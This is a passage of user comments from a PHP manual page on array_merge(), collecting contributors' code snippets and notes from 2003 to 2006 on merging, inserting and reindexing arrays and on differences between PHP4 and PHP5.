    $a=array();
    foreach($a1 as $key=>$value) $a[$key]=$value;
    foreach($a2 as $key=>$value) $a[$key]=$value;
    if (is_array($a3)) $a=array_join($a,$a3,$a4,$a5,$a6,$a7,$a8,$a9,$a10);
    return $a;
}
?>
poison 12-Sep-2006 05:45
You can use array_slice() in combination with array_merge() to insert values into an array like this:

<?php
$test=range(0, 10);
$index=2;
$data="---here---";
$result=array_merge(array_slice($test, 0, $index), array($data), array_slice($test, $index));
var_dump($result);
?>
dercsar at gmail dot com 04-Sep-2006 01:34
array_merge() overwrites ALL numerical indexes. No matter if you have non-numerical indexes or more than just one array.
It reindexes them all. Period.

(Only tried in 4.3.10)
20-Jul-2006 08:45
Whoops!!!  The 2nd posting before this one about the array_merge_alternative1() I made.  Replace part of that code with this one below...

--snip--
     /* 07/20/2006 - Added the if statement to avoid the warning message spitted out by array_unique() function, "Warning: Wrong datatype in array_unique() call"... */
     if ($xyz != 0) {
        $new_array2 = array_unique($new_array1);  /* Work a lot like DISTINCT() in SQL... */
     } else {
        $new_array2 = array();
     }
--snip--

Because the unique_array() unexpectly give a warning message when it's empty...  Sorry about that...
anonyme 20-Jul-2006 06:02
I don't think that the comment on + operator for array in array_merge page, was understandable, this is just a little test to know exactly what's happend.

<?php
//test code for (array)+(array) operator
$a1 = array( '10', '11' , '12' , 'a' => '1a', 'b' => '1b');
$a2 = array( '20', '21' , '22' , 'a' => '2a', 'c' => '2c');

$a = $a1 + $a2;
print_r( $a );
//result: Array ( [0] => 10
//                [1] => 11
//                [2] => 12
//                [a] => 1a
//                [b] => 1b
//                [c] => 2c )

$a = $a2 + $a1;
print_r( $a );
//result: Array ( [0] => 20
//                [1] => 21
//                [2] => 22
//                [a] => 2a
//                [c] => 2c
//                [b] => 1b )

?>
sfletcher at abcoa dot com 19-Jul-2006 09:28
I found that array_merge() didn't work in my case as it should have because I still get duplicate values.  Again, I noticed that the values can be overwritten if the array's key are the same as stated in the manual.

So, I came up with the alternative and it work like a charm.

--snip--
   function array_merge_alternative1() {
      //echo func_num_args();  /* Get the total # of arguements (parameter) that was passed to this function... */
      //print_r(func_get_arg());  /* Get the value that was passed in via arguement/parameter #... in int, double, etc... (I think)... */
      //print_r(func_get_args());  /* Get the value that was passed in via arguement/parameter #... in arrays (I think)... */

     $loop_count1 = func_num_args();
     $junk_array1 = func_get_args();
     $xyz = 0;

     for($x=0;$x<$loop_count1;$x++) {
        $array_count1 = count($junk_array1[$x]);

        if ($array_count1 != 0) {
           for($y=0;$y<$array_count1;$y++) {
              $new_array1[$xyz] = $junk_array1[$x][$y];
              $xyz++;
           }
        }
     }

     $new_array2 = array_unique($new_array1);  /* Work a lot like DISTINCT() in SQL... */

     return $new_array2;
   }
--snip--

Cheer...
chris at luethy dot net 12-Jul-2006 05:36
Do not use this to set the $_SESSION variable.

$_SESSION = array_merge( $_SESSION, $another_array );

will break your $_SESSION until the end of the execution of that page.
freed489 at gmail dot com 18-May-2006 08:32
I needed a function to alternatly merge 2 arrays. i.e. $a1 = (a, c, e) and $a2 = (b, d, f), and now $merged = (a, b, c, d, e, f).
Hope it helps...

<?
function alternatly_merge_arrays($array1, $array2){
        $combined_array = array();
    $count = 0;
    for($i = 0; $i < count($array1) + count($array2); $i = $i + 2){
            $combined_array[$i] = $array1[$count];
        $count++;
    }//end for
    $count = 0;
    for($i = 1; $i < count($array1) + count($array2); $i = $i + 2){
        $combined_array[$i] = $array2[$count];
        $count++;
    }//end for
    return $combined_array;
}//end alternate_merge_arrays
?>
j_oaquimsilva at yahoo dot com dot br 16-Jan-2006 01:22
I forgot to comment. This function join two arrays adding first the elements equals in the two arrays, then the values of the first array and at the end the values of the second array.
<?php
function array_merge_sim ($arr1, $arr2) {

               $i=0;
               $adid_arrayS = array();
               foreach ($arr1 as $x) {

                       $j=0;
                       $nr1=count($arr1);
                       $nr2=count($arr2);

                       foreach ($arr2 as $z) {
                         if($x==$z){
                               array_push($adid_arrayS,$z);
                               if($nr2==($j+1)) array_pop($arr2);
                               else array_splice($arr2, $j,-($nr2-$j-1));
                               if($nr1==($i+1)) array_pop($arr1);
                               else array_splice($arr1, $i,-($nr1-$i-1));
                               $i--;
                         }else  $j++;
                       }
               $i++;
               }

               return array_merge($adid_arrayS,$arr1,$arr2);

}
?>
seva-php at zend dot com 04-Jan-2006 01:18
Since my comment from 12-Jul-2004 02:42 with <? function array_merge_php4() ?> was deleted and the complex one added by Barpfotenbaer (09-Jul-2005 06:33), - here is the simpler and faster solution:

<?
/* works only with PHP 5 */
function array_merge_php4($array1, $array2) {
    foreach ($args = func_get_args() as &$arg)  {
        $arg = (array)$arg;
    }
    return call_user_func_array('array_merge',$args);
}

?>
hs at nospam dot magnum-plus dot com 29-Dec-2005 02:50
The same result as produced by snookiex_at_gmail_dot_com's function
can be achieved with the 'one-liner'
<?php
$array1=array(1,2,3);
$array2=array('a','b','c');

$matrix = array_map(null, $array1, $array2);
?>
(see documentation of array_map).
The difference here is, that the shorter array gets filled with empty values.
snookiex_at_gmail_dot_com 10-Dec-2005 06:09
if you have, for instance:

$array1=array(1,2,3);
$array2=array('a','b','c');

but you want a 2x3 matrix like this:
1 a
2 b
3 c

use:
function arrays2matrix($array1,$array2){
        if(sizeof($array1) != sizeof($array2))
                return;
    for($i=0;$i<sizeof($array1);$i++)
        $res[]=array_merge($array1[$i],$array2[$i]);
    return $res;
}
ttsgosadow at gmail dot com 17-Nov-2005 02:17
I was in need of a version of array_merge to add associative arrays without losing duplicate keys. I use the following function:

[code]
function array_add( $array1, $array2 )
{
foreach( $array2 AS $key => $value )
{
    while( array_key_exists( $key, $array1 ) )
        $key .= "_";
    $array1[ $key ] = $value;
}

return $array1;
}
[/code]

In my case the $key is a date I want to sort on, and if I happen to have duplicate dates (users add things on the same timestamp) I lose that entry with array_merge. I can sort on the key without getting big missorts because of the appended '_'.
kaigillmann at gmxpro dot net 02-Nov-2005 03:56
If you need to merge two arrays without having multiple entries, try this:

<?php
function array_fusion($ArrayOne, $ArrayTwo)
{
    return array_unique(array_merge($ArrayOne, $ArrayTwo));
}
?>
topera at gmail dot com 07-Oct-2005 04:25
<?
/*
Warning: if one variable is not an array, the merged array will
have one more line!
*/

$a = "";

$b[0] = "Brazil";
$b[1] = "China";

$c = array_merge($a, $b);

print_r($c);

?>

This returns:

Array
(
    [0] =>
    [1] => Brazil
    [2] => China
)
__________________________________
Rafael Pereira dos Santos
tbs2tbs at hotmail dot com 31-Aug-2005 11:55
I wanted to share this, it's an small simple script to add things into an array using an loop/routine.
I use an more developed version to sort msessage's on a forum.

<?php

// Make vars ready
    $a=0;
    $alltopic = array();

// Start an routine
//    4 is just an example you can use an varible containing
//    the number of rows in an databse for example
    while ($a < 4)
        {
            $topic = array($a => "$a");
            $alltopic = array_merge ($alltopic, $topic);
            $a++;
        };

// Put it on screen:
    print_r($alltopic);

?>

outputs this :

Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 )
php at moechofe dot com 20-Jul-2005 04:58
<?php

  /*
  * array_deep_merge
  *
  * array array_deep_merge ( array array1 [, array array2 [, array ...]] )
  *
  * Like array_merge
  *
  *   array_deep_merge() merges the elements of one or more arrays together so
  * that the values of one are appended to the end of the previous one. It
  * returns the resulting array.
  *   If the input arrays have the same string keys, then the later value for
  * that key will overwrite the previous one. If, however, the arrays contain
  * numeric keys, the later value will not overwrite the original value, but
  * will be appended.
  *   If only one array is given and the array is numerically indexed, the keys
  * get reindexed in a continuous way.
  *
  * Different from array_merge
  *   If string keys have arrays for values, these arrays will merge recursively.
  */
  function array_deep_merge()
  {
    switch( func_num_args() )
    {
      case 0 : return false; break;
      case 1 : return func_get_arg(0); break;
      case 2 :
        $args = func_get_args();
        $args[2] = array();
        if( is_array($args[0]) and is_array($args[1]) )
        {
          foreach( array_unique(array_merge(array_keys($args[0]),array_keys($args[1]))) as $key )
          if( is_string($key) and is_array($args[0][$key]) and is_array($args[1][$key]) )
            $args[2][$key] = array_deep_merge( $args[0][$key], $args[1][$key] );
          elseif( is_string($key) and isset($args[0][$key]) and isset($args[1][$key]) )
            $args[2][$key] = $args[1][$key];
          elseif( is_integer($key) and isset($args[0][$key]) and isset($args[1][$key]) ) {
            $args[2][] = $args[0][$key]; $args[2][] = $args[1][$key]; }
          elseif( is_integer($key) and isset($args[0][$key]) )
            $args[2][] = $args[0][$key];
          elseif( is_integer($key) and isset($args[1][$key]) )
            $args[2][] = $args[1][$key];
          elseif( ! isset($args[1][$key]) )
            $args[2][$key] = $args[0][$key];
          elseif( ! isset($args[0][$key]) )
            $args[2][$key] = $args[1][$key];
          return $args[2];
        }
        else return $args[1]; break;
      default :
        $args = func_get_args();
        $args[1] = array_deep_merge( $args[0], $args[1] );
        array_shift( $args );
        return call_user_func_array( 'array_deep_merge', $args );
        break;
    }
  }

  /*
  * test
  */
  $a = array(
    0,
    array( 0 ),
    'integer' => 123,
    'integer456_merge_with_integer444' => 456,
    'integer789_merge_with_array777' => 789,
    'array' => array( "string1", "string2" ),
    'array45_merge_with_array6789' => array( "string4", "string5" ),
    'arraykeyabc_merge_with_arraykeycd' => array( 'a' => "a", 'b' => "b", 'c' => "c" ),
    'array0_merge_with_integer3' => array( 0 ),
    'multiple_merge' => array( 1 ),
  );

  $b = array(
    'integer456_merge_with_integer444' => 444,
    'integer789_merge_with_array777' => array( 7,7,7 ),
    'array45_merge_with_array6789' => array( "string6", "string7", "string8", "string9" ),
    'arraykeyabc_merge_with_arraykeycd' => array( 'c' => "ccc", 'd' => "ddd" ),
    'array0_merge_with_integer3' => 3,
    'multiple_merge' => array( 2 ),
  );

  $c = array(
    'multiple_merge' => array( 3 ),
  );

  echo "<pre>".htmlentities(print_r( array_deep_merge( $a, $b, $c ), true))."</pre>";

?>
ntpt at centrum dot cz 14-Jul-2005 06:44
Old behavior of array_merge can be restored by simple  variable type casting like this

array_merge((array)$foo,(array)$bar);

works good in php 5.1.0 Beta 1, not tested in other versions

seems that empty or not set variables are casted to empty arrays
Barpfotenbaer 09-Jul-2005 09:33
Topic: The modified behavior of array_merge() in PHP5: "array_merge() now only accepts parameters of type array"

A very simple way to simulate the old behavior of PHP4 to merge arrays with non-arrays:

<?php
function array_merge_php4 ()
{
$array["merged"]=array ();
for($i=0;$i<func_num_args ();$i++)
  {
  $array["tmp"]=(
    (is_array (func_get_arg ($i)))?
    (func_get_arg ($i)):
    (array (func_get_arg ($i)))
  );
  $array["merged"]=array_merge ($array["merged"],$array["tmp"]);
  }
return($array["merged"]);
}
?>
herve dot pages at free dot fr 08-Jul-2005 11:37
About the behavior of array_merge() that was modified in PHP5. The above warning says "array_merge() now only accepts parameters of type array". But it doesn't say what happens when array_merge() is given a non array parameter like in:
<?php
  error_reporting(E_STRICT);
  $a = array("red","green");
  $rgb = array_merge($a,"blue");
?>
In fact, the PHP5 version of array_merge() will perfectly accept the "blue" parameter and will return... the NULL value! Be aware that you will get no warning even with the error reporting level set to E_STRICT (which is supposed to catch "forward compatibility" troubles).
arduenn at gmail dot com 06-Jul-2005 10:56
As "rcarvalhoREMOVECAPS at clix dot pt" suggested above,

   $a = array_merge($a, null);

does renumber the $a array. However, this only works with PHP4, not with PHP5. PHP5 users might try the following:

   $b = implode(" ", $a);
   $a = explode(" ", $b);

Hope this helps someone too ;-)
alberto dot pacheco at itesm dot mx 24-May-2005 09:02
To insert an array inside another at a given position

<?php

//Insert at $pos array $items inside array $source
function array_insert($source, $pos, $items)
{
    $sub1 = array_slice($source, 0, $pos);
    $sub2 = array_slice($source, $pos);
    return array_merge($sub1,$items,$sub2);
}

// 2nd alternative (Note: it changes $source)
function array_insert($source, $pos, $items)
{
    $rest = array_splice($source, $pos);
    return $source = array_merge($source,$items,$rest);
}

?>
rafmavCHEZlibre_in_france 19-Apr-2005 04:54
Here are a few functions to make a diff between two arrays (or 2 strings, see the example) and merge it back after
<?
function array_diff_both($new,$old)
{
    $del=array_diff_assoc($old,$new);
    $add=array_diff_assoc($new,$old);
    return $diff=array("del"=>$del, "add"=>$add);
}

function array_diff_all($arr_new,$arr_old)
{
    $arr_equ=array_intersect_assoc($arr_new,$arr_old);
    $arr_del=array_diff_assoc($arr_old,$arr_new);
    $arr_add=array_diff_assoc($arr_new,$arr_old);
    return $diff=array("equ"=>$arr_equ, "del"=>$arr_del, "add"=>$arr_add);
}

function array_merge_diff($arr,$diff) {
    $arr=array_merge_replace($arr,$diff["del"]);
    $arr=array_merge_replace($arr,$diff["add"]);
    return $arr;
}
function array_merge_diff_reverse($arr,$diff) {
    $arr=array_merge_replace($arr,$diff["add"]);
    $arr=array_merge_replace($arr,$diff["del"]);
    return $arr;
}
?>
Here is an example:
<?
//calculationg
$new="hello!"; // new string

$old="hrllo!"; // old string with a typo fault

// cast string in array the goodway
// make a cast (array) to a string does not work:
// the entire string is thus considered as one element
// of the array !!
$a_new=str_split($new);
$a_old=str_split($old); // cast string in array

$diff=array_diff_both($a_new,$a_old); // the entire diff

$test=array_merge_diff($a_old,$diff);

$test_reverse=array_merge_diff_reverse($a_new,$diff);

//for output the sample
print "new= $new<br/>old= $old<br/>\$a_new= ";
print_r($a_new);

print "<br/>\$a_old= ";
print_r($a_old);

print "<br/>\$diff=\$a_new-\$a_old";
print "<br/>\$diff= ";
print_r($diff);

print "<br/>\$test=\$a_old+\$diff";
print "<br/>\$test= ";
print_r($test);
print("<br/>".implode($test));

print "<br/>\$test_reverse=\$a_new+\$diff";
print "<br/>\$test_reverse= ";
print_r($test_reverse);
print("<br/>".implode($test_reverse));
?>
En sortie de l'exemple, résultats:

new= hello!
old= hrllo!
$a_new= Array ( [0] => h [1] => e [2] => l [3] => l [4] => o [5] => ! )
$a_old= Array ( [0] => h [1] => r [2] => l [3] => l [4] => o [5] => ! )
$diff=$a_new-$a_old
$diff= Array ( [del] => Array ( [1] => r ) [add] => Array ( [1] => e ) )
$test=$a_old+$diff
$test= Array ( [0] => h [1] => e [2] => l [3] => l [4] => o [5] => ! )
hello!
$test_reverse=$a_new+$diff
$test_reverse= Array ( [0] => h [1] => r [2] => l [3] => l [4] => o [5] => ! )
hrllo!

autre exemple, autre résultat:
new= see you!
old= sea ya!
$a_new= Array ( [0] => s [1] => e [2] => e [3] => [4] => y [5] => o [6] => u [7] => ! )
$a_old= Array ( [0] => s [1] => e [2] => a [3] => [4] => y [5] => a [6] => ! )
$diff=$a_new-$a_old
$diff= Array ( [del] => Array ( [2] => a [5] => a [6] => ! ) [add] => Array ( [2] => e [5] => o [6] => u [7] => ! ) )
$test=$a_old+$diff
$test= Array ( [0] => s [1] => e [2] => e [3] => [4] => y [5] => o [6] => u [7] => ! )
see you!
$test_reverse=$a_new+$diff
$test_reverse= Array ( [0] => s [1] => e [2] => a [3] => [4] => y [5] => a [6] => ! [7] => ! )
sea ya!!
Vinicius Cubas Brand 14-Apr-2005 09:32
The following function merges two arrays taking as parameter an user-defined comparison function:

<?
    function array_merge_custom(&$array1,&$array2,$comparison_func)
    {
        $ret_arr = array();
        foreach ($array1 as $key1 => $element1)
        {
            $has_equal_in_2 = false;
            foreach($array2 as $key2 => $element2)
            {
                if (call_user_func($comparison_func,$element1,$element2))
                {
                    $has_equal_in_2 = true;
                }
            }
            if (!$has_equal_in_2)
            {
                $ret_arr[] = $array1[$key1];
            }
        }
        $ret_arr = array_merge($ret_arr,$array2);
        return $ret_arr;
    }

?>

For instance:

<?

    $a = array(
        array('index' => 'ball', 'blabla' => 0),
        array('index' => 'coconut'),
        array('index' => 'cow'),
        array('index' => 'son'),
        );

    $b = array(
        array('index' => 'phone'),
        array('index' => 'wallet'),
        array('index' => 'ball'),
        array('index' => 'son', 'kabum'=> 1)
        );

    $c = array_merge_custom($a,$b,create_function('$a,$b','return $a[\'index\'] == $b[\'index\'];'));
    print_r($c)
?>

Will produce:

Array
(
    [0] => Array
        (
            [index] => coconut
        )
    [1] => Array
        (
            [index] => cow
        )
    [2] => Array
        (
            [index] => phone
        )
    [3] => Array
        (
            [index] => wallet
        )
    [4] => Array
        (
            [index] => ball
        )
    [5] => Array
        (
            [index] => son
            [kabum] => 1
        )
)
jeff_1089 at yahoo dot com 06-Apr-2005 01:17
Note that casting the array doesn't always work.  For classes, it looks like the class information is lost.  The print_r's below have different behavior.  I would suggest creating an array, rather than casting in most situations. (ie.  do it like $array2).

class myclass {
    private $name;
    private $value;
    function myclass($n, $v) {
        $this->name=$n;
        $this->value=$v;
    }
}

$itema = new myclass("hair", "orange");
$itemb = new myclass("eyes", "green");
$itemc = new myclass("elbow", "dirty");
$items = array($itemb, $itemc);
print "<BR>";
$array1 = array_merge((array)$itema, $items);
$array2 = array_merge(array($itema), $items);
print "<BR>";
print "<BR>";
print_r($array1);
print "<BR>";
print "<BR>";
print_r($array2);

Array ( [] => orange [0] => myclass Object ( [name:private] => eyes [value:private] => green ) [1] => myclass Object ( [name:private] => elbow [value:private] => dirty ) )

Array ( [0] => myclass Object ( [name:private] => hair [value:private] => orange ) [1] => myclass Object ( [name:private] => eyes [value:private] => green ) [2] => myclass Object ( [name:private] => elbow [value:private] => dirty ) )
lito at eordes dot com 20-Mar-2005 03:54
This is a simple function to merge an array multidimensional:

<?php
  function multimerge ($array1, $array2) {
    if (is_array($array2) && count($array2)) {
      foreach ($array2 as $k => $v) {
        if (is_array($v) && count($v)) {
          $array1[$k] = multimerge($array1[$k], $v);
        } else {
          $array1[$k] = $v;
        }
      }
    } else {
      $array1 = $array2;
    }

    return $array1;
  }

$array1 = array(
  1 => "value1",
  2 => "value2",
  3 => array(
    "valor2" => "test3",
  ),
  "more" => array(
    "alot" => "A lot of values",
    ":)" => "Cont"
  )
);

$array2 = array(
  2 => "other value",
  3 => array(
    "valor3" => "more values",
  ),
  "more" => array(
    "alot" => "Change the value"
  ),
  "final" => "Final Value"
);

print_r(multimerge($array1, $array2));
?>

The output is:

Array
(
    [1] => value1
    [2] => other value
    [3] => Array
        (
            [valor2] => test3
            [valor3] => more values
        )

    [more] => Array
        (
            [alot] => Change the value
            [:)] => Cont
        )

    [final] => Final Value
)
Jimomighty 19-Mar-2005 10:48
...

function preserved_merge_array( $newArray, $otherArray ) {
    foreach( $otherArray as $key => $value)
    {
        if ( !is_array($newArray[$key]) ) $newArray[$key] = array();
        if ( is_array($value) ) $newArray[$key] = preserved_merge_array( $newArray[$key], $value );
        else $newArray[$key] = $value;
    }

    return $newArray;
}

...
Alec Solway 20-Jan-2005 10:05
Note that if you put a number as a key in an array, it is eventually converted to an int even if you cast it to a string or put it in quotes.

That is:

$arr["0"] = "Test";
var_dump( key($arr) );

will output int(0).

This is important to note when merging because array_merge will append values with a clashing int-based index instead of replacing them. This kept me tied up for hours.
nospam at veganismus dot ch 11-Jan-2005 06:38
Someone posted a function with the note:
"if u need to overlay a array that holds defaultvalues with another that keeps the relevant data"

<?
//about twice as fast but the result is the same.
//note: the sorting will be messed up!
function array_overlay($skel, $arr) {
    return $arr+$skel;
}

//example:
$a = array("zero","one","two");
$a = array_overlay($a,array(1=>"alpha",2=>NULL));
var_dump($a);
/* NULL is ignored so the output is:
array(3) {
  [1]=>
  string(5) "alpha"
  [0]=>
  string(4) "zero"
  [2]=>
  string(3) "two"
}
*/
?>
Frederick.Lemasson{AT}kik-it.com 23-Dec-2004 02:57
if you generate form select from an array, you probably want to keep your array keys and order intact,
if so you can use ArrayMergeKeepKeys(), works just like array_merge :

array ArrayMergeKeepKeys ( array array1 [, array array2 [, array ...]])

but keeps the keys even if of numeric kind.
enjoy

<?

$Default[0]='Select Something please';

$Data[147]='potato';
$Data[258]='banana';
$Data[54]='tomato';

$A=array_merge($Default,$Data);

$B=ArrayMergeKeepKeys($Default,$Data);

echo '<pre>';
print_r($A);
print_r($B);
echo '</pre>';

Function ArrayMergeKeepKeys() {
      $arg_list = func_get_args();
      foreach((array)$arg_list as $arg){
          foreach((array)$arg as $K => $V){
              $Zoo[$K]=$V;
          }
      }
    return $Zoo;
}

//will output :

Array
(
    [0] => Select Something please
    [1] => potato
    [2] => banana
    [3] => tomato
)
Array
(
    [0] => Select Something please
    [147] => potato
    [258] => banana
    [54] => tomato
)

?>
jnothman at student dot usyd dot edu dot au 24-Nov-2004 10:40
If you have a two dimensional array, or otherwise an array of arrays, the following may be handy: <?call_user_func_array('array_merge', $arr);?>

For instance:
<?php
list($GIF, $JPG, $PNG, $WBMP) = array(1,2,3,15);
$ext_map = array(
    $GIF  => array('gif'),
    $JPG  => array('jpg', 'jpeg'),
    $PNG  => array('png'),
    $WBMP => array('wbmp'),
);
$ext_list = call_user_func_array('array_merge', $ext_map);
print_r($ext_list);
?>

Output:
Array
(
    [0] => gif
    [1] => jpg
    [2] => jpeg
    [3] => png
    [4] => wbmp
)
Jae 22-Nov-2004 07:17
This is explained above but may not be exactly clear.  If you have two arrays such as:

$Array1 {

[0] => "dog"

}

$Array2 {

[0] => "cat",
[1] => "bird",
[2] => null,
...
[n-1] => null,
[n] => "gator"
}

and you don't want to lose the null values in the final array then do NOT use array_merge.  Instead simply use the + operator.

array_merge($Array1,$Array2) gives:
[0] => "dog",
[1] => "cat",
[2] => "bird",
[3] => "gator"

$Array1 + $Array2 gives:
[0] => "dog",
[1] => "cat",
[2] => "bird",
[3] => null,
...
[n-1] => null,
[3] => "gator"
17-Nov-2004 10:22
function array_overlay($skel, $arr)
{
    foreach ($skel as $key => $val) {
        if (!isset($arr[$key])) {
            $arr[$key] = $val;
        } else {
            if (is_array($val)) {
                $arr[$key] = array_overlay($val, $arr[$key]);
            }
        }
    }

    return $arr;
}

// if u need to overlay a array that holds defaultvalues with another that keeps the relevant data
nospam at veganismus dot ch 25-Sep-2004 08:48
I needed to add some values (array) to an array on each loop.
I used merge because it seemed to be the right way. But array_splice() ist much faster:

<?
$merge = array();
$splice = array();

function makearray() { //to do on each loop
 //return two values:
 return array('foo','bar');
}

for($i=0;$i<1000;$i++) $merge = array_merge($merge,makearray());
echo count($merge); //returns 2000 after about 2 sec (PHP5)

for($i=0;$i<1000;$i++) array_splice($splice, 0,0,makearray());
echo count($splice); //returns 2000 after about 0.8 sec (PHP5)
?>

Note: The sorting will be diffrent but you can use
array_splice($splice, count($splice),0,makearray());
which is still faster (1.4 sec)
bcraigie at bigfoot dot com 24-Aug-2004 12:37
It would seem that array_merge doesn't do anything when one array is empty (unset):

<?php //$a is unset
$b = array("1" => "x");

$a = array_merge($a, $b});

//$a is still unset.
?>

to fix this omit $a if it is unset:-

<?php
if(!IsSet($a)) {
    $a = array_merge($b);
} else {
  $a = array_merge($a, $b);
}
?>

I don't know if there's a better way.
niv at NOSPAM iaglans dot DE 12-Jun-2004 10:18
[Editor's Note: If the keys are truly numeric, array_merge will do the trick. But if they are strings, as the example below, you can use array_merge(array_values($array1), array_values($array2)); since it's more beautiful. -- victor@php.net]

i recognized there is no function with that you can add two number-Arrays:

Example:

<?php
// you have two arrays:

array1 = array (['0'] =>"blahblupp",
                        ['1'] => "bluppblah" );

array2 = array (['0'] =>"tirili",
                        ['1'] => "tralala" );

// and want following as a result:

result = array (['0'] =>"blahblupp",
                      ['1'] => "bluppblah",
                      ['2'] =>"tirili",
                      ['3'] => "tralala" );

// following function does the addition:

function array_add($array1, $array2)
{
    $result = $array1;
    $h = sizeof($array1);
    for ($i = 0; $i < sizeof($array2); $i++)
    {
        $result[$h] = $array2[$i];
        $h++;
    }

    return $result;
}
?>

just added because I didn't find a ready-to-use script here.
mail at nospam dot iaindooley dot com 08-Apr-2004 09:37
hey there, here is a nice little way of merging two arrays that may or may not have numerical or string indices and preserving the order and indexing of both arrays whilst making the most use of in built php functions (i actually originally wanted to use array_combine for obvious reasons but seeing as that is not available in PHP4, the little foreach loop at the end is necessary):

<?php
        function merge($arr1,$arr2)
        {
                if(!is_array($arr1))
                        $arr1 = array();
                if(!is_array($arr2))
                        $arr2 = array();
                $keys1 = array_keys($arr1);
                $keys2 = array_keys($arr2);
                $keys  = array_merge($keys1,$keys2);
                $vals1 = array_values($arr1);
                $vals2 = array_values($arr2);
                $vals  = array_merge($vals1,$vals2);
                $ret    = array();

                foreach($keys as $key)
                {
                        list($unused,$val) = each($vals);
                        $ret[$key] = $val;
                }

            return $ret;
        }
?>
frankb at fbis dot net 25-Feb-2004 04:02
to merge arrays and preserve the key i found the following working with php 4.3.1:

<?php
$array1 = array(1 => "Test1", 2 => "Test2");
$array2 = array(3 => "Test3", 4 => "Test4");

$array1 += $array2;
?>

dont know if this is working with other php versions but it is a simple and fast way to solve that problem.
KOmaSHOOTER at gmx dot de 07-Nov-2003 10:03
Here is something for splitting a sorted array into group array  ( sorting the group arrays ) and then merging them together
Note: merge is  like concat in Flash ActionScript :)
In this example i have 3 different  groups in one array

* First the mainArray is sorted for the group entrys
* building from part arrays
* building  copy arrays from  part arrays ( for making the array beginning with  [0] !! )
* merging all part arrays together

0. sorting the main array
1. apportionment from the main array
when the group is changing , a new array is build (part
array ) ! attention at the second  part array !! Array values
are are not beginning with [0]!!
2. making the copy from the part array .
array values are pushed in the new array
3. echo for every array entry
4. overwriting the old array with the new copy
5. part arrays are sorted by function (arrays had been naughted by function array_copy ( Array is beginning with [0] ! )
6. merging the part arrays

Here is the same that i posted before but a bit better solved
array_push (${"activ_array".$j}, $activ_array[$i]); makes the part arrays starting with [0] :)

<?php
$activ_array=array(
array("apfel_01","germany","xx","red"),
array("apfel_07","germany","xx","green"),
array("apfel_08","germany","xx","green"),
array("apfel_02","germany","xx","red"),
array("apfel_03","germany","xx","red"),
array("apfel_04","germany","xx","red"),
array("apfel_09","germany","xx","red_+_green"),
array("apfel_10","germany","xx","red_+_green"),
array("apfel_05","germany","xx","green"),
array("apfel_06","germany","xx","green")
);
function array_sort($array, $key , $target){
for ($i = 0; $i < sizeof($array); $i++){
 $array2 = $array;
 if($target == 'name'){
    if(! empty($array2[$i]["nameletter"])){
     //echo $myarray[$i]["nameletter"] ;
     $array2[$i]["name"] = substr($array2[$i][$key],($array2[$i]["nameletter"]-1));
    }else{
     $array2[$i]["name"] = substr($array2[$i][$key],0);
    }
   $sort_values[$i] = $array2[$i]["name"];
   }else{
   $sort_values[$i] = $array2[$i][$key];
 }
}
  asort ($sort_values);
  reset ($sort_values);
  while (list ($arr_keys, $arr_values) = each ($sort_values)) {
         $sorted_arr[] = $array[$arr_keys];
  }
  return $sorted_arr;
}
$activ_array = array_sort($activ_array,3,'imagetype');
$j=0;
// first part array
${"activ_array"."$j"} = array();
for($i=0;$i<sizeof($activ_array);$i++){
 if($activ_array[$i][3] !=$activ_array[$i-1][3] && $i >1){
   $j++;
   ${"activ_array".$j} = array();
 }
array_push (${"activ_array".$j}, $activ_array[$i]);
}
// part array sorting
for($i=0;$i<=$j;$i++){
 ${"activ_array".$i} = array_sort(${"activ_array".$i},0,'name');
}
$activ_array = array();
for($i=0;$i<=$j;$i++){
 $activ_array = array_merge($activ_array,${"activ_array".$i});
}
for($i=0;$i<sizeof($activ_array);$i++){
print_r($activ_array[$i]);
echo("<br>");
}

?>
rcarvalhoREMOVECAPS at clix dot pt 03-Nov-2003 12:43
While searching for a function that would renumber the keys in a array, I found out that array_merge() does this if the second parameter is null:

Starting with array $a like:

<?php
Array
(
    [5] => 5
    [4] => 4
    [2] => 2
    [9] => 9
)
?>

Then use array_merge() like this:

<?php
$a = array_merge($a, null);
?>

Now the $a array has bee renumbered, but maintaining the order:

<?php
Array
(
    [0] => 5
    [1] => 4
    [2] => 2
    [3] => 9
)
?>

Hope this helps someone :-)
31-Oct-2003 10:08
In all PHP 4 versions the above function deals gracefully with paramaters which are NOT arrays(). So if you pass a string or number it will be automagically converted to an one-element array as described in the manual section about Types and "implicit typecasting". So if you ever happen to put an empty/unset variable (NULL value) as parameter, array_merge() will still collapse the other arrays as intended.

From PHP5beta2 on this behaviour changed, and PHP will correctly issue a E_WARNING message, whenever one of the paramters isn't an array. So if you ever happen to be uncertain about the contents of a variable passed as parameter to array_merge() you should use explicit typecasting:

<?php
$a = array(1, 2, 3);
$b = 4;    #-- beware: this is no array!

$result = array_merge(  (array)$a, (array)$b,  ... );
?>

This way $result still would get == array(1, 2, 3, 4); where otherwise the parameters would get rejected with the warning message telling you so.
loner at psknet dot !NOSPAM!com 29-Sep-2003 03:00
I got tripped up for a few days when I tried to merge a (previously serialized) array into a object. If it doesn't make sense, think about it... To someone fairly new, it could... Anyway, here is what I did:
(It's obviously not recursive, but easy to make that way)
<?php
function array_object_merge(&$object, $array) {
    foreach ($array as $key => $value)
        $object->{$key} = $value;
}
?>

Simple problem, but concevibly easy to get stuck on.
ice at lazybytes dot net 05-Sep-2003 03:31
I, too have found array_merge_clobber() useful. I use it in a loop to append data to an array. However, when the loop first runs, there will be an error message displayed as array one is empty, so, here is a little fix:

<?php
function array_merge_clobber($arrOne,$arrTwo) {
    if(!is_array($arrOne) || !is_array($arrTwo)) return false;

    $arrNewArray = $arrOne;
    forEach ($arrTwo as $key => $val) {
        if (isSet($arrNewArray[$key])) {
            if (is_array($val) && is_array($arrNewArray[$key])) {
                $arrNewArray[$key] = array_merge_clobber($arrNewArray[$key], $val);
            }
            else {
                $arrNewArray[$key] = $val;
            }
        }
        else {
            $arrNewArray[$key] = $val;
        }
    }
    return $arrNewArray;
}
?>

Not sure if someone else has already got something similar or better, but this is simple and works for me. :)
03-Sep-2003 03:10
For those who are getting duplicate entries when using this function, there is a very easy solution:

wrap array_unique() around array_merge()

cheers,

k.
tobias_mik at hotmail dot com 25-Jul-2003 05:14
This function merges any number of arrays and maintains the keys:

<?php
function array_kmerge ($array) {
 reset($array);
 while ($tmp = each($array))
 {
  if(count($tmp['value']) > 0)
  {
   $k[$tmp['key']] = array_keys($tmp['value']);
   $v[$tmp['key']] = array_values($tmp['value']);
  }
 }
 while($tmp = each($k))
 {
